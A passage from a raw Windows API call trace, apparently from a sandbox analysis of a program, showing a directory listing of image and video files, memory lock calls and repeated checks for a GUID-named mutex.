returned 0x555b78 [0057.526] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.526] GlobalUnlock (hMem=0x44000c) returned 0 [0057.526] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.526] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.526] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.526] GlobalUnlock (hMem=0x44000c) returned 0 [0057.526] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.526] GlobalUnlock (hMem=0x440004) returned 0 [0057.526] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.526] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0057.526] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.526] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.526] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.527] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.527] GlobalUnlock (hMem=0x440004) returned 0 [0057.527] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.527] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.527] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.527] GlobalUnlock (hMem=0x440004) returned 0 [0057.527] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.527] GlobalUnlock (hMem=0x44000c) returned 0 [0057.527] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.527] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0057.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.527] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.527] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.527] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.527] GlobalUnlock (hMem=0x44000c) returned 0 [0057.527] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.527] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.527] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.527] GlobalUnlock (hMem=0x44000c) returned 0 [0057.527] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.527] GlobalUnlock (hMem=0x440004) returned 0 [0057.527] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.527] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0057.527] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.527] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.527] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.527] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.527] GlobalUnlock (hMem=0x440004) returned 0 [0057.528] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.528] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.528] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.528] GlobalUnlock (hMem=0x440004) returned 0 [0057.528] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.528] GlobalUnlock (hMem=0x44000c) returned 0 [0057.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.528] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0057.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.528] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.528] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.528] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.528] GlobalUnlock (hMem=0x44000c) returned 0 [0057.528] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.528] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.528] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.528] GlobalUnlock (hMem=0x44000c) returned 0 [0057.528] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.528] GlobalUnlock (hMem=0x440004) returned 0 [0057.528] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.528] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0057.528] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.528] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.528] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.528] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.528] GlobalUnlock (hMem=0x440004) returned 0 [0057.528] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.529] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.529] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.529] GlobalUnlock (hMem=0x440004) returned 0 [0057.529] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.529] GlobalUnlock (hMem=0x44000c) returned 0 [0057.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.529] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0057.529] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.529] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.529] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.529] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.529] GlobalUnlock (hMem=0x44000c) returned 0 [0057.529] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.529] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.529] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.529] GlobalUnlock (hMem=0x44000c) returned 0 [0057.529] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.529] GlobalUnlock (hMem=0x440004) returned 0 [0057.529] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.529] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0057.529] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.529] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.529] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.529] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.529] GlobalUnlock (hMem=0x440004) returned 0 [0057.529] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.529] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.530] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.530] GlobalUnlock (hMem=0x440004) returned 0 [0057.530] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.530] GlobalUnlock (hMem=0x44000c) returned 0 [0057.530] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.530] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0057.530] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.530] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.530] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.530] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.530] GlobalUnlock (hMem=0x44000c) returned 0 [0057.530] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.530] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.530] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.530] GlobalUnlock (hMem=0x44000c) returned 0 [0057.530] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.530] GlobalUnlock (hMem=0x440004) returned 0 [0057.530] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.530] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0057.530] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.530] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.530] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.530] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.530] GlobalUnlock (hMem=0x440004) returned 0 [0057.530] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.530] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.530] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.530] GlobalUnlock (hMem=0x440004) returned 0 [0057.531] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.531] GlobalUnlock (hMem=0x44000c) returned 0 [0057.531] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.531] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0057.531] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.531] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.531] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.531] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.531] GlobalUnlock (hMem=0x44000c) returned 0 [0057.531] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.531] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.531] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.531] GlobalUnlock (hMem=0x44000c) returned 0 [0057.531] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.531] GlobalUnlock (hMem=0x440004) returned 0 [0057.531] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.531] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0057.531] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.531] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.531] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.531] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.531] GlobalUnlock (hMem=0x440004) returned 0 [0057.531] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.531] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.531] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.531] GlobalUnlock (hMem=0x440004) returned 0 [0057.531] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.531] GlobalUnlock (hMem=0x44000c) returned 0 [0057.531] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.532] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a94088, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a94088, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x609, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0057.532] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.532] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.532] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.532] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.532] GlobalUnlock (hMem=0x44000c) returned 0 [0057.532] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.532] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.532] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.532] GlobalUnlock (hMem=0x44000c) returned 0 [0057.532] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.532] GlobalUnlock (hMem=0x440004) returned 0 [0057.532] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.532] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72aba1e5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72aba1e5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x239b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mainimage-mask.png", cAlternateFileName="")) returned 1 [0057.532] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.532] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.532] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.532] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.532] GlobalUnlock (hMem=0x440004) returned 0 [0057.532] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.532] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.532] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.532] GlobalUnlock (hMem=0x440004) returned 0 [0057.532] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.532] GlobalUnlock (hMem=0x44000c) returned 0 [0057.532] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.533] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0057.533] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.533] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.533] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.533] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.533] GlobalUnlock (hMem=0x44000c) returned 0 [0057.533] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.533] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.533] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.533] GlobalUnlock (hMem=0x44000c) returned 0 [0057.533] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.533] GlobalUnlock (hMem=0x440004) returned 0 [0057.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.533] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0057.533] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.533] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.533] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.533] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.533] GlobalUnlock (hMem=0x440004) returned 0 [0057.533] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.533] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.533] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.533] GlobalUnlock (hMem=0x440004) returned 0 [0057.533] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.533] GlobalUnlock (hMem=0x44000c) returned 0 [0057.533] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.533] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0057.534] GetLastError () returned 0x12 [0057.534] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0057.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.534] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.534] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.534] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.534] GlobalUnlock (hMem=0x44000c) returned 0 [0057.534] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.534] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.534] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.534] GlobalUnlock (hMem=0x44000c) returned 0 [0057.534] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.534] GlobalUnlock (hMem=0x440004) returned 0 [0057.534] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.534] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0057.534] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.534] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 